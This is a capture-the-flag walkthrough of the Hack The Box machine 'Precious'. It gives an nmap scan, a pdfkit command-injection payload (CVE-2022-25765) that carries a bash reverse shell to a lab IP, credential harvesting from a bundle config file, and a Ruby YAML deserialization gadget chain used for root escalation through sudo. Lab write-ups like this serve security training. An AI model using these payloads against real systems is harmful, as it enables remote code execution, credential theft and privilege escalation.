Samuele Sciatore - Dec, 10, 2022
Samuele Sciatore
Samuele Sciatore - Dec, 10, 2022

Creator: Nauten
nmap -sC -sV -A precious.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-11 10:23 CET
Nmap scan report for precious.htb (10.10.11.189)
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 845e13a8e31e20661d235550f63047d2 (RSA)
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open http nginx 1.18.0
| http-server-header:
| nginx/1.18.0
|_ nginx/1.18.0 + Phusion Passenger(R) 6.0.15
If we open the site, we see an input form in which insert an url to convert in pdf.
So if we host our webserver trough python: python3 -m http.server, and we input our ip address in the form, a pdf will be downloaded.
So by inspecting the pdf metadata, we can see an interesting thing:
Creator: Generated by pdfkit v0.8.6
Tagged: no
UserProperties: no
Suspects: no
Form: none
JavaScript: no
Pages: 2
Encrypted: no
Page size: 612 x 792 pts (letter)
Page rot: 0
File size: 47595 bytes
Optimized: no
PDF version: 1.4PDF is generated by pdfkit v 0.8.6, by searching online we can see that this version is affected by a vulnerability CVE-2022-25765.
Reading the article, we can see that we can execute arbitrary code, so using Reverse shell generator we can create a reverse shell to access the target machine.
So in the input form we will send this payload
http://10.10.14.146/?name=#{'%20`bash -c "bash -i >& /dev/tcp/10.10.14.146/9001 0>&1"`'}And in a terminal we listen to the port:
nc -lvnp 9999After exploring the system we use find command to search some files.
find / -type f -name config
/home/ruby/.bundle/config
cat /home/ruby/.bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "h*****y:Q*********H"We can see that we have found the password for user henry.
So we will log in as henry by command su henry and using the password we found.
cat /home/henry/user.txt
a****************9By executing sudo -l we see that we can run the file /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.
Now we need to create a dependencies.yml file that will look like this in /home/henry:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
And from the same folder we run the command
sudo /usr/bin/ruby /opt/update_dependencies.rb Escalation is completed! Now run
/bin/bash -p
cat /root/root.txt
d**************************e